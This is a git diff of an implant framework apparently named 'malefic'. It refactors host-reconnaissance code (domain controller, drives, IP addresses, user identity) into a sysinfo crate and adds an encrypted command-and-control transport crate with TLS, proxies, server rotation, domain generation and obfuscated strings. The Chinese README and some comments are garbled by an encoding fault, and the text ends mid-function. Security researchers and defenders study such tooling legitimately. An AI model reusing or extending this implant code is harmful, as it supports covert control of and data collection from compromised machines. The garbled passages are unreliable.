b/malefic-crates/sysinfo/src/linux/mod.rs @@ -1,6 +1,3 @@ pub mod domain; pub mod ipconfig; -pub mod netstat; -pub mod process; pub mod whoami; -pub mod loader; \ No newline at end of file diff --git a/malefic-helper/src/linux/whoami/mod.rs b/malefic-crates/sysinfo/src/linux/whoami.rs similarity index 100% rename from malefic-helper/src/linux/whoami/mod.rs rename to malefic-crates/sysinfo/src/linux/whoami.rs diff --git a/malefic-crates/sysinfo/src/win/clr.rs b/malefic-crates/sysinfo/src/win/clr.rs new file mode 100644 index 0000000..1680355 --- /dev/null +++ b/malefic-crates/sysinfo/src/win/clr.rs @@ -0,0 +1,3 @@ +pub fn clr_version() -> Vec { + malefic_os_win::kit::clr::display_installed_dotnet_version() +} diff --git a/malefic-helper/src/win/domain/mod.rs b/malefic-crates/sysinfo/src/win/domain.rs similarity index 68% rename from malefic-helper/src/win/domain/mod.rs rename to malefic-crates/sysinfo/src/win/domain.rs index 6e27b1e..8bc7e6e 100644 --- a/malefic-helper/src/win/domain/mod.rs +++ b/malefic-crates/sysinfo/src/win/domain.rs @@ -1,18 +1,28 @@ -use windows::Win32::Networking::ActiveDirectory::{DsGetDcNameW, DS_GC_SERVER_REQUIRED, DS_DIRECTORY_SERVICE_REQUIRED, DS_RETURN_DNS_NAME, DOMAIN_CONTROLLER_INFOW}; -use windows::Win32::Foundation::ERROR_SUCCESS; use core::ptr::null_mut; +use windows::Win32::Foundation::ERROR_SUCCESS; use windows::Win32::NetworkManagement::NetManagement::NetApiBufferFree; +use windows::Win32::Networking::ActiveDirectory::{ + DsGetDcNameW, DOMAIN_CONTROLLER_INFOW, DS_DIRECTORY_SERVICE_REQUIRED, DS_GC_SERVER_REQUIRED, + DS_RETURN_DNS_NAME, +}; pub fn get_domain() -> String { let mut dc_info_ptr: *mut DOMAIN_CONTROLLER_INFOW = null_mut(); let res = unsafe { - DsGetDcNameW(None, None, None, None, DS_GC_SERVER_REQUIRED | DS_DIRECTORY_SERVICE_REQUIRED | DS_RETURN_DNS_NAME, &mut dc_info_ptr as *mut _) + DsGetDcNameW( + None, + None, + None, + None, + DS_GC_SERVER_REQUIRED | DS_DIRECTORY_SERVICE_REQUIRED | DS_RETURN_DNS_NAME, + &mut dc_info_ptr as *mut _, + ) }; if res != ERROR_SUCCESS.0 || dc_info_ptr.is_null() { return "".to_string(); } - // å®‰å…¨æ£€æŸ¥ï¼šç¡®ä¿ DomainName ä¸ä¸ºç©º + // Safety check: Ensure DomainName is not null if unsafe { (*dc_info_ptr).DomainName.0.is_null() } { unsafe { NetApiBufferFree(*dc_info_ptr.cast()); @@ -36,4 +46,4 @@ pub(crate) fn pwstr_to_str(ptr: *const u16) -> String { } let slice = unsafe { &*(std::ptr::slice_from_raw_parts(ptr, len)) }; String::from_utf16_lossy(slice) -} \ No newline at end of file +} diff --git a/malefic-helper/src/win/driver/mod.rs b/malefic-crates/sysinfo/src/win/driver.rs similarity index 73% rename from malefic-helper/src/win/driver/mod.rs rename to malefic-crates/sysinfo/src/win/driver.rs index 4024473..bbed4c1 100644 --- a/malefic-helper/src/win/driver/mod.rs +++ b/malefic-crates/sysinfo/src/win/driver.rs @@ -1,29 +1,27 @@ use std::ffi::OsString; -use std::iter::once; use std::os::windows::ffi::OsStringExt; +use obfstr::obfstr; +use windows::core::PCWSTR; use windows::Win32::Storage::FileSystem::{ - GetDriveTypeW, GetLogicalDriveStringsW, + GetDriveTypeW, + GetLogicalDriveStringsW, // DRIVE_CDROM, DRIVE_FIXED, DRIVE_NO_ROOT_DIR, DRIVE_RAMDISK, // DRIVE_REMOTE, DRIVE_REMOVABLE, DRIVE_UNKNOWN, }; -use windows::core::PCWSTR; -use obfstr::obfstr; -const DRIVE_UNKNOWN: u32 = 0; +const DRIVE_UNKNOWN: u32 = 0; const DRIVE_NO_ROOT_DIR: u32 = 1; -const DRIVE_REMOVABLE: u32 = 2; -const DRIVE_FIXED: u32 = 3; -const DRIVE_REMOTE: u32 = 4; -const DRIVE_CDROM: u32 = 5; -const DRIVE_RAMDISK: u32 = 6; +const DRIVE_REMOVABLE: u32 = 2; +const DRIVE_FIXED: u32 = 3; +const DRIVE_REMOTE: u32 = 4; +const DRIVE_CDROM: u32 = 5; +const DRIVE_RAMDISK: u32 = 6; pub fn enum_drivers() -> Vec<(String, String)> { let mut drives = Vec::new(); let mut buffer = vec![0u16; 256]; - let len = unsafe { - GetLogicalDriveStringsW(Some(&mut buffer)) as usize - }; + let len = unsafe { GetLogicalDriveStringsW(Some(&mut buffer)) as usize }; if len == 0 { eprintln!("{}", obfstr!("[-] Failed to get logical drive strings.")); @@ -32,7 +30,7 @@ pub fn enum_drivers() -> Vec<(String, String)> { let mut i = 0; while i < len { - // å–出当å‰ç›˜ç¬¦ï¼ˆä»¥ \0 结尾的宽字符字符串) + // Extract current drive letter (null-terminated wide character string) let mut end = i; while buffer[end] != 0 { end += 1; @@ -40,7 +38,7 @@ pub fn enum_drivers() -> Vec<(String, String)> { let slice = &buffer[i..end]; let drive = OsString::from_wide(slice).to_string_lossy().to_string(); - // 获å–盘符类型 + // Get drive type let dtype = unsafe { GetDriveTypeW(PCWSTR(buffer.as_ptr().add(i))) }; let dtype_str = match dtype { DRIVE_UNKNOWN => obfstr!("Unknown").to_string(), @@ -55,10 +53,10 @@ pub fn enum_drivers() -> Vec<(String, String)> { drives.push((drive, dtype_str)); - // 跳到下一个字符串 + // Skip to next string i = end + 1; } - + drives } @@ -69,12 +67,17 @@ mod tests { #[test] fn test_enum_drivers() { let drives = enum_drivers(); - // 检查返回的驱动器åç§°æ ¼å¼ + // Check returned drive name format for (drive, drive_type) in &drives { let valid_types = [ - obfstr!("Unknown"), obfstr!("Invalid root path"), obfstr!("Removable drive"), - obfstr!("Fixed drive"), obfstr!("Network drive"), obfstr!("CD-ROM drive"), - obfstr!("RAM disk"), obfstr!("Other") + obfstr!("Unknown"), + obfstr!("Invalid root path"), + obfstr!("Removable drive"), + obfstr!("Fixed drive"), + obfstr!("Network drive"), + obfstr!("CD-ROM drive"), + obfstr!("RAM disk"), + obfstr!("Other"), ]; } println!("{}", obfstr!("Found drives:")); diff --git a/malefic-helper/src/win/ipconfig/mod.rs b/malefic-crates/sysinfo/src/win/ipconfig.rs similarity index 76% rename from malefic-helper/src/win/ipconfig/mod.rs rename to malefic-crates/sysinfo/src/win/ipconfig.rs index 0290c85..8d4d928 100644 --- a/malefic-helper/src/win/ipconfig/mod.rs +++ b/malefic-crates/sysinfo/src/win/ipconfig.rs @@ -1,11 +1,11 @@ +use windows::Win32::Foundation::{ERROR_BUFFER_OVERFLOW, ERROR_SUCCESS}; use windows::Win32::NetworkManagement::IpHelper::{ - GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GAA_FLAG_SKIP_MULTICAST, - GAA_FLAG_SKIP_DNS_SERVER, GAA_FLAG_SKIP_FRIENDLY_NAME + GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GAA_FLAG_SKIP_DNS_SERVER, + GAA_FLAG_SKIP_FRIENDLY_NAME, GAA_FLAG_SKIP_MULTICAST, +}; +use windows::Win32::Networking::WinSock::{ + AF_INET, /* AF_INET6, */ SOCKADDR_IN, /* SOCKADDR_IN6 */ }; -use windows::Win32::Networking::WinSock::{AF_INET, /* AF_INET6, */ SOCKADDR_IN, /* SOCKADDR_IN6 */}; -use windows::Win32::Foundation::{ERROR_BUFFER_OVERFLOW, ERROR_SUCCESS}; -use crate::debug; - /// Get IPv4 addresses for all network adapters /// Note: IPv6 addresses are currently commented out and not included in the result pub fn get_ipv4_addresses() -> Vec { @@ -16,10 +16,13 @@ pub fn get_ipv4_addresses() -> Vec { let result = unsafe { GetAdaptersAddresses( AF_INET.0 as u32, - GAA_FLAG_INCLUDE_GATEWAYS | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_FRIENDLY_NAME, + GAA_FLAG_INCLUDE_GATEWAYS + | GAA_FLAG_SKIP_MULTICAST + | GAA_FLAG_SKIP_DNS_SERVER + | GAA_FLAG_SKIP_FRIENDLY_NAME, None, None, - &mut buffer_size + &mut buffer_size, ) }; @@ -30,16 +33,20 @@ pub fn get_ipv4_addresses() -> Vec { // Allocate buffer let mut buffer: Vec = vec![0; buffer_size as usize]; - let adapter_addresses = buffer.as_mut_ptr() as *mut windows::Win32::NetworkManagement::IpHelper::IP_ADAPTER_ADDRESSES_LH; + let adapter_addresses = buffer.as_mut_ptr() + as *mut windows::Win32::NetworkManagement::IpHelper::IP_ADAPTER_ADDRESSES_LH; // Second call to get actual data let result = unsafe { GetAdaptersAddresses( AF_INET.0 as u32, - GAA_FLAG_INCLUDE_GATEWAYS | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_FRIENDLY_NAME, + GAA_FLAG_INCLUDE_GATEWAYS + | GAA_FLAG_SKIP_MULTICAST + | GAA_FLAG_SKIP_DNS_SERVER + | GAA_FLAG_SKIP_FRIENDLY_NAME, None, Some(adapter_addresses), - &mut buffer_size + &mut buffer_size, ) }; @@ -73,7 +80,9 @@ pub fn get_ipv4_addresses() -> Vec { } /// Convert SOCKADDR to string format IP address -fn sockaddr_to_string(sockaddr: *const windows::Win32::Networking::WinSock::SOCKADDR) -> Option { +fn sockaddr_to_string( + sockaddr: *const windows::Win32::Networking::WinSock::SOCKADDR, +) -> Option { if sockaddr.is_null() { return None; } @@ -85,7 +94,10 @@ fn sockaddr_to_string(sockaddr: *const windows::Win32::Networking::WinSock::SOCK let sockaddr_in = sockaddr as *const SOCKADDR_IN; let addr = (*sockaddr_in).sin_addr; let ip_bytes = addr.S_un.S_addr.to_le_bytes(); - Some(format!("{}.{}.{}.{}", ip_bytes[0], ip_bytes[1], ip_bytes[2], ip_bytes[3])) + Some(format!( + "{}.{}.{}.{}", + ip_bytes[0], ip_bytes[1], ip_bytes[2], ip_bytes[3] + )) } // AF_INET6 => { // let sockaddr_in6 = sockaddr as *const SOCKADDR_IN6; @@ -103,7 +115,7 @@ fn sockaddr_to_string(sockaddr: *const windows::Win32::Networking::WinSock::SOCK // u16::from_be_bytes([ip_bytes[14], ip_bytes[15]]) // )) // } - _ => None + _ => None, } } } diff --git a/malefic-crates/sysinfo/src/win/mod.rs b/malefic-crates/sysinfo/src/win/mod.rs new file mode 100644 index 0000000..e7c6e01 --- /dev/null +++ b/malefic-crates/sysinfo/src/win/mod.rs @@ -0,0 +1,6 @@ +#[cfg(feature = "clr")] +pub mod clr; +pub mod domain; +pub mod driver; +pub mod ipconfig; +pub mod whoami; diff --git a/malefic-helper/src/win/whoami/mod.rs b/malefic-crates/sysinfo/src/win/whoami.rs similarity index 99% rename from malefic-helper/src/win/whoami/mod.rs rename to malefic-crates/sysinfo/src/win/whoami.rs index 750e93a..ca824ff 100644 --- a/malefic-helper/src/win/whoami/mod.rs +++ b/malefic-crates/sysinfo/src/win/whoami.rs @@ -169,7 +169,7 @@ pub fn os_version() -> Option { } } - // 如果 API 调用失败,使用注册表作为备选方案 + // If API call fails, use registry as fallback let major = if is_windows_eleven() { 11u32 } else { diff --git a/malefic-crates/transport/Cargo.toml b/malefic-crates/transport/Cargo.toml new file mode 100644 index 0000000..01b9d55 --- /dev/null +++ b/malefic-crates/transport/Cargo.toml @@ -0,0 +1,68 @@ +[package] +name = "malefic-transport" +version = "0.1.0" +edition = "2021" + +[features] +default = ["transport_tcp", "tls_rustls"] +bind = [] +tcp = [] +tls_rustls = ["futures-rustls", "rustls", "rustls-pemfile", "webpki-roots"] +tls_native = ["async-native-tls"] +tls = ["tls_rustls"] +mtls = ["tls_rustls"] +proxy = ["httparse", "url"] +dga = ["malefic-dga"] +transport_http = ["httparse", "tcp"] +transport_tcp = ["tcp"] +transport_rem = ["malefic-rem/rem", "malefic-rem/rem_static", "dep:md-5"] + +# Runtime (needed for spawn) +async-std = ["malefic-common/async-std"] +tokio = ["malefic-common/tokio"] +smol = ["malefic-common/smol"] + +[dependencies] +cfg-if = { workspace = true } +async-trait = { workspace = true } +async-net = { workspace = true } +futures = { workspace = true } +futures-timer = { workspace = true } +anyhow = { workspace = true } +thiserror = { workspace = true } +base64 = { workspace = true } + +httparse = { version = "1.8", optional = true } + +# tls (rustls backend) +futures-rustls = { version = "0.26", optional = true } +rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"], optional = true } +rustls-pemfile = { version = "2", optional = true } +webpki-roots = { version = "0.26", optional = true } + +# tls (native backend) +async-native-tls = { version = "0.5", optional = true } + +# proxy +url = { workspace = true, optional = true } + +# md5 for rem session id (reuses existing digest crate) +md-5 = { version = "0.10", optional = true } + +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } +malefic-proto = { workspace = true } +malefic-crypto = { workspace = true, default-features = true } +malefic-config = { workspace = true } +malefic-rem = { workspace = true, optional = true } +malefic-dga = { workspace = true, optional = true } + +[dev-dependencies] +tokio = { workspace = true, features = ["rt", "rt-multi-thread", "macros", "time", "sync"] } +# E2E test server needs these crates directly +rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] } +rustls-pemfile = "2" +futures-rustls = "0.26" +async-net = { workspace = true } +futures = { workspace = true } +malefic-config = { workspace = true } diff --git a/malefic-crates/transport/README.md b/malefic-crates/transport/README.md new file mode 100644 index 0000000..47d8ecc --- /dev/null +++ b/malefic-crates/transport/README.md @@ -0,0 +1,86 @@ +# malefic-transport + +多å议异步网络传输层,æä¾› TCPã€HTTPã€REM 等传输å议的统一抽象接å£ã€‚ + +## 功能简介 + +- **多å议支æŒ**:通过 feature åˆ‡æ¢ TCP / HTTP / REM 传输åŽç«¯ï¼Œç¼–译期选择,零è¿è¡Œæ—¶å¼€é”€ +- **TLS / mTLS**:基于 rustls 实现 TLS 1.2/1.3 加密传输,支æŒè‡ªç­¾åè¯ä¹¦å’ŒåŒå‘认è¯ï¼ˆmTLS) +- **ä»£ç†æ”¯æŒ**:内置 HTTP CONNECT å’Œ SOCKS5 代ç†å®¢æˆ·ç«¯ï¼Œæ”¯æŒé…ç½®ã€çŽ¯å¢ƒå˜é‡å’Œç¼–译期三ç§ä»£ç†æº +- **加密会è¯**:Session 层集æˆå¯¹ç§°åŠ å¯†ï¼Œè‡ªåŠ¨å®Œæˆæ•°æ®çš„分帧ã€åŠ è§£å¯†å’Œè¶…æ—¶æŽ§åˆ¶ +- **连接管ç†**:ConnectionBuilder æ¨¡å¼æž„建连接,支æŒè¯»å†™åˆ†ç¦»å’Œ Heartbeat / Duplex åŒå·¥æ¨¡å¼åˆ‡æ¢ +- **æœåŠ¡ç«¯è½®è½¬**:ServerManager 支æŒå¤šç›®æ ‡è‡ªåŠ¨åˆ‡æ¢ã€å¤±è´¥é‡è¯•å’Œå¯é€‰çš„ DGA 域åç”Ÿæˆ +- **åå‘绑定**:`bind` feature å¯ç”¨ TCP 监å¬ç«¯ï¼Œæ”¯æŒåå‘连接场景 + +## Features + +| Feature | 说明 | +|---------|------| +| `transport_tcp` | TCP 传输åŽç«¯ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `transport_http` | HTTP 传输åŽç«¯ï¼ŒåŸºäºŽ TCP å°è£… HTTP 请求/å“应 | +| `transport_rem` | REM 内存传输åŽç«¯ï¼Œé€šè¿‡å…±äº«å†…存通信 | +| `tcp` | 底层 TCP 连接能力 | +| `tls` | å¯ç”¨ TLS 加密(rustls) | +| `mtls` | å¯ç”¨åŒå‘ TLS 认è¯ï¼ˆä¾èµ– `tls`) | +| `proxy` | å¯ç”¨ HTTP / SOCKS5 ä»£ç†æ”¯æŒ | +| `bind` | å¯ç”¨ TCP 监å¬ç»‘定(åå‘连接) | +| `dga` | å¯ç”¨åŸŸå生æˆç®—法(DGA)自动生æˆç›®æ ‡åœ°å€ | +| `tokio` | 使用 tokio 异步è¿è¡Œæ—¶ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `async-std` | 使用 async-std 异步è¿è¡Œæ—¶ | +| `smol` | 使用 smol 异步è¿è¡Œæ—¶ | + +## 基本用法 + +```rust +use malefic_transport::{ + Client, ConnectionBuilder, ConnectionRunner, SessionConfig, +}; +use malefic_transport::DialerExt; +use malefic_crypto::crypto::new_cryptor; +use std::time::Duration; + +// 1. 创建传输客户端并连接 +let mut client = Client::new()?; +let transport = client.connect(&server_config).await?; + +// 2. 通过 Builder 构建加密连接 +let connection = ConnectionBuilder::new(transport) + .with_cryptor(new_cryptor(key, iv)) + .with_session_id([0x01, 0x02, 0x03, 0x04]) + .with_config(SessionConfig { + read_chunk_size: 8 * 1024, + deadline: Duration::from_secs(5), + }) + .build()?; + +// 3. 使用 ConnectionRunner 进行通信 +let mut runner = ConnectionRunner::new(connection); + +// Heartbeat 模å¼ï¼šé˜»å¡žå¼æ”¶å‘ +runner.send(spites).await?; +let response = runner.receive().await?; + +// å‡çº§ä¸º Duplex 模å¼ï¼šåŽå°å¼‚步接收 +runner.upgrade()?; +runner.send(spites).await?; +let msg = runner.try_receive()?; // éžé˜»å¡žæŽ¥æ”¶ + +// é™çº§å›ž Heartbeat æ¨¡å¼ +runner.downgrade().await?; +``` + +## 核心类型 + +| 类型 | 说明 | +|------|------| +| `Client` | 传输åè®®å®¢æˆ·ç«¯ï¼Œæ ¹æ® feature 自动选择 TCP/HTTP/REM | +| `Session` | 加密会è¯ï¼Œè´Ÿè´£æ•°æ®åˆ†å¸§ã€åŠ è§£å¯†å’Œè¶…æ—¶ | +| `Connection` | é«˜å±‚è¿žæŽ¥ï¼Œæ”¯æŒ exchange 和读写分离 | +| `ConnectionRunner` | 连接è¿è¡Œå™¨ï¼Œç®¡ç† Heartbeat / Duplex 模å¼åˆ‡æ¢ | +| `ServerManager` | 多æœåŠ¡ç«¯ç®¡ç†å™¨ï¼Œå¤„ç†è½®è½¬ã€é‡è¯•å’Œ DGA | + +## å‚考链接 + +- [rustls](https://github.com/rustls/rustls) - Rust TLS 实现 +- [async-tls](https://github.com/async-rs/async-tls) - 异步 TLS å°è£… +- [futures](https://github.com/rust-lang/futures-rs) - Rust 异步基础库 diff --git a/malefic-crates/transport/src/connection.rs b/malefic-crates/transport/src/connection.rs new file mode 100644 index 0000000..ba0eb1c --- /dev/null +++ b/malefic-crates/transport/src/connection.rs @@ -0,0 +1,243 @@ +use std::time::Duration; + +use futures::{join, FutureExt}; +use futures_timer::Delay; + +use malefic_proto::marshal; +use malefic_proto::proto::implantpb::Spites; + +use crate::session::{Session, SessionConfig, SessionReader, SessionWriter}; +use crate::{InnerTransport, TransportError}; +use malefic_crypto::crypto::Cryptor; + +pub struct Connection { + session: Session, + session_id: [u8; 4], + encrypt_key: Option, + decrypt_key: Option, + deadline: Duration, +} + +impl Connection { + pub fn new( + transport: InnerTransport, + cryptor: Cryptor, + session_id: [u8; 4], + encrypt_key: Option<&str>, + decrypt_key: Option<&str>, + config: SessionConfig, + ) -> Self { + let deadline = config.deadline; + let session = Session::new(transport, cryptor, config); + Self { + session, + session_id, + encrypt_key: encrypt_key.map(|s| s.to_string()), + decrypt_key: decrypt_key.map(|s| s.to_string()), + deadline, + } + } + + pub async fn exchange(mut self, spites: Spites) -> Result, TransportError> { + self.session.reset_cryptor(); + + let spite_data = marshal(self.session_id, spites, self.encrypt_key.as_deref()) + .map_err(TransportError::ParserError)?; + + let (mut reader, mut writer) = self.session.split(); + let decrypt_key = self.decrypt_key; + + let exchange_task = async { + let send_task = writer.write(&spite_data).fuse(); + let recv_task = async { + loop { + match reader.read().await { + Ok(Some(received_data)) => return Ok(received_data), + Ok(None) => continue, + Err(e) => return Err(e), + } + } + } + .fuse(); + let (recv_result, send_result) = join!(recv_task, send_task); + let _ = writer.close().await; + send_result?; + + match recv_result { + Ok(received_data) => { + let spites = received_data + .parse(decrypt_key.as_deref()) + .map_err(TransportError::ParserError)?; + Ok(Some(spites)) + } + Err(e) if e.is_connection_error() => Err(e), + Err(_) => Ok(None), + } + }; + + let timeout = Delay::new(self.deadline).fuse(); + let exchange_task_fused = exchange_task.fuse(); + futures::pin_mut!(timeout, exchange_task_fused); + + futures::select! { + result = exchange_task_fused => result, + _ = timeout => Err(TransportError::Deadline), + } + } + + pub async fn send_only(mut self, spites: Spites) -> Result<(), TransportError> { + self.session.reset_cryptor(); + + let spite_data = marshal(self.session_id, spites, self.encrypt_key.as_deref()) + .map_err(TransportError::ParserError)?; + + let (_reader, mut writer) = self.session.split(); + let send_result = writer.write(&spite_data).await; + let _ = writer.close().await; + send_result + } + + pub fn split(self) -> (ConnectionReader, ConnectionWriter) { + let (session_reader, session_writer) = self.session.split(); + ( + ConnectionReader { + session_reader, + decrypt_key: self.decrypt_key, + }, + ConnectionWriter { + session_writer, + session_id: self.session_id, + encrypt_key: self.encrypt_key, + }, + ) + } +} + +pub struct ConnectionReader { + session_reader: SessionReader, + decrypt_key: Option, +} + +impl ConnectionReader { + pub async fn receive(&mut self) -> Result { + loop { + if let Some(spites) = self.poll().await? { + return Ok(spites); + } + } + } + + pub(crate) async fn poll(&mut self) -> Result, TransportError> { + let Some(spite_data) = self.session_reader.read().await? else { + return Ok(None); + }; + + spite_data + .parse(self.decrypt_key.as_deref()) + .map_err(TransportError::ParserError) + .map(Some) + } +} + +pub struct ConnectionWriter { + session_writer: SessionWriter, + session_id: [u8; 4], + encrypt_key: Option, +} + +impl ConnectionWriter { + pub async fn send(&mut self, spites: Spites) -> Result<(), TransportError> { + let spite_data = marshal(self.session_id, spites, self.encrypt_key.as_deref()) + .map_err(TransportError::ParserError)?; + self.session_writer.write(&spite_data).await + } +} + +pub struct ConnectionBuilder { + transport: Option, + cryptor: Option, + session_id: Option<[u8; 4]>, + encrypt_key: Option, + decrypt_key: Option, + config: SessionConfig, +} + +impl ConnectionBuilder { + pub fn new(transport: InnerTransport) -> Self { + Self { + transport: Some(transport), + cryptor: None, + session_id: None, + encrypt_key: None, + decrypt_key: None, + config: SessionConfig::default(), + } + } + + pub fn with_cryptor(mut self, cryptor: Cryptor) -> Self { + self.cryptor = Some(cryptor); + self + } + + pub fn with_session_id(mut self, session_id: [u8; 4]) -> Self { + self.session_id = Some(session_id); + self + } + + pub fn with_encrypt_key(mut self, key: Option<&str>) -> Self { + self.encrypt_key = key.map(|s| s.to_string()); + self + } + + pub fn with_decrypt_key(mut self, key: Option<&str>) -> Self { + self.decrypt_key = key.map(|s| s.to_string()); + self + } + + pub fn with_config(mut self, config: SessionConfig) -> Self { + self.config = config; + self + } + + pub fn build(self) -> Result { + let transport = self.transport.ok_or(BuildError::MissingTransport)?; + let cryptor = self.cryptor.ok_or(BuildError::MissingCryptor)?; + let session_id = self.session_id.ok_or(BuildError::MissingSessionId)?; + Ok(Connection::new( + transport, + cryptor, + session_id, + self.encrypt_key.as_deref(), + self.decrypt_key.as_deref(), + self.config, + )) + } +} + +#[derive(Debug, thiserror::Error)] +pub enum BuildError { + #[error("Missing transport")] + MissingTransport, + #[error("Missing cryptor")] + MissingCryptor, + #[error("Missing session ID")] + MissingSessionId, +} + +#[allow(dead_code)] +pub fn create_connection( + transport: InnerTransport, + cryptor: Cryptor, + session_id: [u8; 4], + encrypt_key: Option<&str>, + decrypt_key: Option<&str>, +) -> Connection { + Connection::new( + transport, + cryptor, + session_id, + encrypt_key, + decrypt_key, + SessionConfig::default(), + ) +} diff --git a/malefic-core/src/transport/http/mod.rs b/malefic-crates/transport/src/http/mod.rs similarity index 71% rename from malefic-core/src/transport/http/mod.rs rename to malefic-crates/transport/src/http/mod.rs index 713c810..3a1706a 100644 --- a/malefic-core/src/transport/http/mod.rs +++ b/malefic-crates/transport/src/http/mod.rs @@ -1,30 +1,28 @@ -use crate::config::{ServerConfig, TransportConfig}; -use crate::transport::tcp::{new_steam, TCPTransport}; -use crate::transport::{DialerExt, Stream, TransportError}; -use crate::common::spawn; +use crate::tcp::{new_steam, TCPTransport}; +use crate::{DialerExt, TransportError}; use anyhow::Result; use async_trait::async_trait; use futures::lock::Mutex; use futures::{AsyncRead, AsyncWrite, AsyncWriteExt}; -use malefic_helper::debug; +use malefic_common::debug; +use malefic_common::spawn; +use malefic_config::{ServerConfig, TransportConfig}; use std::io; use std::io::{Cursor, Read}; use std::pin::Pin; use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::Arc; use std::task::{Context, Poll, Waker}; -use malefic_proto::crypto::Cryptor; #[cfg(feature = "proxy")] -use crate::config::{PROXY_HOST, PROXY_PASSWORD, PROXY_PORT, PROXY_USERNAME}; +use crate::proxie::{AsyncProxy, Auth, HTTPProxy, Proxy, SOCKS5Proxy}; #[cfg(feature = "proxy")] -use crate::transport::proxie::{Auth, Proxy, AsyncProxy, HTTPProxy, SOCKS5Proxy}; +use malefic_config::{PROXY_HOST, PROXY_PASSWORD, PROXY_PORT, PROXY_USERNAME}; #[derive(Clone)] pub struct HTTPTransport { config: ServerConfig, inner: Arc>>, - // host: String, send_buffer: Arc>>, recv_buffer: Arc>>>, flush_requested: Arc, @@ -37,7 +35,6 @@ impl HTTPTransport { let transport = HTTPTransport { config: server_config.clone(), inner: Arc::new(Mutex::new(None)), - // host: server_config.address.clone(), send_buffer: Arc::new(Mutex::new(Vec::new())), recv_buffer: Arc::new(Mutex::new(Cursor::new(Vec::new()))), flush_requested: Arc::new(AtomicBool::new(false)), @@ -48,13 +45,18 @@ impl HTTPTransport { { let mut bg_transport = transport.clone(); let flag = transport.flush_requested.clone(); + let flush_poll_interval = match &transport.config.transport_config { + TransportConfig::Http(http_config) => http_config.flush_poll_interval, + _ => std::time::Duration::from_millis(1), + }; spawn(async move { loop { if flag.swap(false, Ordering::SeqCst) { - let _ = bg_transport.done().await; - break + if let Err(e) = bg_transport.done().await { + debug!("[transport] Background task error: {:?}", e); + } } - futures_timer::Delay::new(std::time::Duration::from_millis(1)).await; + futures_timer::Delay::new(flush_poll_interval).await; } }); } @@ -62,11 +64,9 @@ impl HTTPTransport { Ok(transport) } - /// Helper method to read a chunk from transport async fn read_chunk(&self, size: usize) -> Result> { let mut inner_guard = self.inner.lock().await; let transport = inner_guard.as_mut().unwrap(); - let mut chunk_buf = vec![0u8; size]; let n = futures::AsyncReadExt::read(transport, &mut chunk_buf).await?; if n == 0 { @@ -81,13 +81,11 @@ impl HTTPTransport { let buffer = self.send_buffer.lock().await; buffer.clone() }; - self.do_request(send_data).await?; { let mut buffer = self.send_buffer.lock().await; buffer.clear(); } - debug!("[transport] HTTP request completed, data available for reading"); Ok(()) } @@ -96,7 +94,7 @@ impl HTTPTransport { let mut inner_guard = self.inner.lock().await; if inner_guard.is_none() { let stream = new_steam(&self.config).await?; - let transport = TCPTransport::new(stream,self.config.clone()).await?; + let transport = TCPTransport::new(stream, self.config.clone()).await?; *inner_guard = Some(transport); debug!("[transport] HTTP connection established"); } @@ -116,7 +114,6 @@ impl HTTPTransport { *error_guard = Some(TransportError::ConnectionRefused); if let Some(mut waker_guard) = self.read_waker.try_lock() { if let Some(waker) = waker_guard.take() { - debug!("[transport] Waking up waiting read task due to connection error"); waker.wake(); } } @@ -128,82 +125,78 @@ impl HTTPTransport { return Err(e); } } - debug!("[transport] HTTP request starting, data length: {}", data.len()); - // debug!("[transport] HTTP request starting, data: {:?}", data); - // send http request + debug!( + "[transport] HTTP request starting, data length: {}", + data.len() + ); + let http_config = match &self.config.transport_config { + TransportConfig::Http(http_config) => http_config.clone(), + _ => return Err(TransportError::ConfigurationError.into()), + }; { let mut inner_guard = self.inner.lock().await; let transport = inner_guard.as_mut().unwrap(); - - let http_request = { - match &self.config.transport_config { - TransportConfig::Http(http_config) => { - http_config.build_request(data.len()) - } - _ => { - return Err(TransportError::ConfigurationError.into()); - } - } - }; - + let http_request = http_config.build_request(data.len()); let mut request_buffer = Vec::with_capacity(http_request.len() + 50 + data.len()); request_buffer.extend_from_slice(http_request.as_bytes()); - // request_buffer.extend_from_slice(format!("Content-Length: {}\r\n\r\n", data.len()).as_bytes()); request_buffer.extend_from_slice(&data); transport.write_all(&request_buffer).await?; } - // read HTTP resp header let mut buffer = Vec::with_capacity(1024); let (header_buf, body_prefix) = loop { - let chunk = self.read_chunk(512).await?; + let chunk = self + .read_chunk(http_config.response_read_chunk_size.max(1)) + .await?; buffer.extend_from_slice(&chunk); - - // 查找头部结æŸä½ç½® - if let Some(header_end_pos) = buffer.windows(4).position(|window| window == b"\r\n\r\n").map(|pos| pos + 4) { - debug!("[transport] found header end at position: {}", header_end_pos); + if let Some(header_end_pos) = buffer + .windows(4) + .position(|window| window == b"\r\n\r\n") + .map(|pos| pos + 4) + { let (header_part, body_part) = buffer.split_at(header_end_pos); break (header_part.to_vec(), body_part.to_vec()); } - if buffer.len() > buffer.capacity() - 512 { buffer.reserve(1024); } }; - // read HTTP resp body let mut headers = [httparse::EMPTY_HEADER; 16]; let mut resp = httparse::Response::new(&mut headers); match resp.parse(&header_buf)? { httparse::Status::Complete(_) => { - // æå–Content-Length - let content_length = resp.headers + let content_length = resp + .headers .iter() .find(|h| h.name.eq_ignore_ascii_case("content-length")) .and_then(|h| std::str::from_utf8(h.value).ok()) .and_then(|s| s.parse::().ok()) .unwrap_or(0); - if content_length == 0 { let mut buffer = self.recv_buffer.lock().await; *buffer = Cursor::new(Vec::new()); return Ok(()); } - debug!("[transport] recv body expect:{}", content_length); - self.read_response_body(content_length, body_prefix).await + self.read_response_body(content_length, body_prefix, &http_config) + .await } httparse::Status::Partial => Err(TransportError::RecvError.into()), } } - - - // read resp body - async fn read_response_body(&mut self, expected_length: usize, body_prefix: Vec) -> Result<()> { - debug!("[transport] starting to read response body, expected: {} bytes, prefix: {} bytes", expected_length, body_prefix.len()); - - // recv + async fn read_response_body( + &mut self, + expected_length: usize, + 